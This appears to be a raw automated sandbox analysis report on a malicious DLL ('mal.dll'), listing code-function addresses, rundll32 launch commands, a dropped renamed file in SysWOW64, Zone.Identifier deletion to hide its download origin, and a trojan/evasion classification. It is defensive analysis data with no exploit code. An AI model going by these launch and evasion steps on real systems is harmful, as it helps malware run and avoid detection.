Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C4716	3_2_029C4716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D710D	3_2_029D710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DD10B	3_2_029DD10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E3306	3_2_029E3306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C7739	3_2_029C7739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D473A	3_2_029D473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CE336	3_2_029CE336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DCF2C	3_2_029DCF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CB12E	3_2_029CB12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C6125	3_2_029C6125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C635F	3_2_029C635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E2D4F	3_2_029E2D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E314A	3_2_029E314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DC145	3_2_029DC145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C4F42	3_2_029C4F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D5B7C	3_2_029D5B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C597D	3_2_029C597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C2575	3_2_029C2575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C2176	3_2_029C2176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DC772	3_2_029DC772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C996C	3_2_029C996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C9565	3_2_029C9565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C5166	3_2_029C5166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029CDD66	3_2_029CDD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029DF561	3_2_029DF561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029E2560	3_2_029E2560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E9F5EA0	3_2_6E9F5EA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E9FA6D0	3_2_6E9FA6D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E9FE6E0	3_2_6E9FE6E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E9F66E0	3_2_6E9F66E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA00F10	3_2_6EA00F10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E9F1C10	3_2_6E9F1C10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E9F9D50	3_2_6E9F9D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA10A61	3_2_6EA10A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E9FD380	3_2_6E9FD380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E9F38C0	3_2_6E9F38C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA001D0	3_2_6EA001D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C306EF	6_2_02C306EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2ED95	6_2_02C2ED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C154C0	6_2_02C154C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C30AD3	6_2_02C30AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C27EDD	6_2_02C27EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1A8E8	6_2_02C1A8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1BEF5	6_2_02C1BEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C320F8	6_2_02C320F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1E6FD	6_2_02C1E6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C13085	6_2_02C13085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1F699	6_2_02C1F699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1D899	6_2_02C1D899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1C69B	6_2_02C1C69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1F4A5	6_2_02C1F4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C204A4	6_2_02C204A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C256A9	6_2_02C256A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C168AD	6_2_02C168AD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2B0BA	6_2_02C2B0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1AEB9	6_2_02C1AEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C23ABE	6_2_02C23ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2604E	6_2_02C2604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2645F	6_2_02C2645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C30C66	6_2_02C30C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C31C71	6_2_02C31C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2E478	6_2_02C2E478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1F20D	6_2_02C1F20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C21C12	6_2_02C21C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C32C16	6_2_02C32C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2BA18	6_2_02C2BA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C20824	6_2_02C20824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C20A37	6_2_02C20A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C13E3B	6_2_02C13E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2CC3F	6_2_02C2CC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C15DC3	6_2_02C15DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C139C3	6_2_02C139C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C12DC5	6_2_02C12DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C24DC5	6_2_02C24DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C20FC5	6_2_02C20FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2E7DA	6_2_02C2E7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C289DA	6_2_02C289DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C213DB	6_2_02C213DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C335E3	6_2_02C335E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1B7EC	6_2_02C1B7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1FBEF	6_2_02C1FBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C291F7	6_2_02C291F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C11DF9	6_2_02C11DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2D5FE	6_2_02C2D5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C16BFE	6_2_02C16BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C31987	6_2_02C31987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1F984	6_2_02C1F984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C17D87	6_2_02C17D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1938F	6_2_02C1938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2BFA1	6_2_02C2BFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C277A7	6_2_02C277A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C133A9	6_2_02C133A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C14F42	6_2_02C14F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2C145	6_2_02C2C145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C3314A	6_2_02C3314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C32D4F	6_2_02C32D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C18D59	6_2_02C18D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1635F	6_2_02C1635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2F561	6_2_02C2F561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C32560	6_2_02C32560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C19565	6_2_02C19565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C15166	6_2_02C15166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1DD66	6_2_02C1DD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1196D	6_2_02C1196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1996C	6_2_02C1996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2C772	6_2_02C2C772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C12575	6_2_02C12575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C12176	6_2_02C12176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1597D	6_2_02C1597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C12B7C	6_2_02C12B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C25B7C	6_2_02C25B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C33306	6_2_02C33306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2D10B	6_2_02C2D10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2710D	6_2_02C2710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C18112	6_2_02C18112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C15314	6_2_02C15314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C14716	6_2_02C14716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C28518	6_2_02C28518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C16125	6_2_02C16125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2CF2C	6_2_02C2CF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1B12E	6_2_02C1B12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C23130	6_2_02C23130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1E336	6_2_02C1E336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C17739	6_2_02C17739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C2473A	6_2_02C2473A

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6E9F1C10 appears 91 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EA0D350 appears 33 times

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: mal.dll

ReversingLabs: Detection: 24%

Source: mal.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\mal.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\mal.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,axamexdrqyrgb
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,bhramccfbdd
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jxqjexglbxuwcsnd\ncmurmkelbjyq.yqk",ewrKlpBownvGxgM
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6524 -ip 6524
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6524 -s 308
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6524 -ip 6524
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6524 -s 344
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,axamexdrqyrgb	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,bhramccfbdd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\mal.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jxqjexglbxuwcsnd\ncmurmkelbjyq.yqk",ewrKlpBownvGxgM	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6524 -ip 6524	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6524 -s 308	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6524 -ip 6524	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6524 -s 344	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER4E7D.tmp

Jump to behavior

Source: classification engine

Classification label: mal80.troj.evad.winDLL@31/18@0/31

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,Control_RunDLL

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:3732:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6224:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6524

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: mal.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: mal.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: pCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000013.00000002.673923692.00000000032B2000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000013.00000003.655817193.00000000050F7000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000013.00000003.658765535.0000000005971000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.689172123.0000000005241000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C151C push ds; ret	3_2_029C1527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029C150F push ds; ret	3_2_029C1527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA19153 push ecx; ret	3_2_6EA19166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1150F push ds; ret	6_2_02C11527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C1151C push ds; ret	6_2_02C11527

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E9FE4E0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

3_2_6E9FE4E0

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Jxqjexglbxuwcsnd\ncmurmkelbjyq.yqk

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

File opened: C:\Windows\SysWOW64\Jxqjexglbxuwcsnd\ncmurmkelbjyq.yqk:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
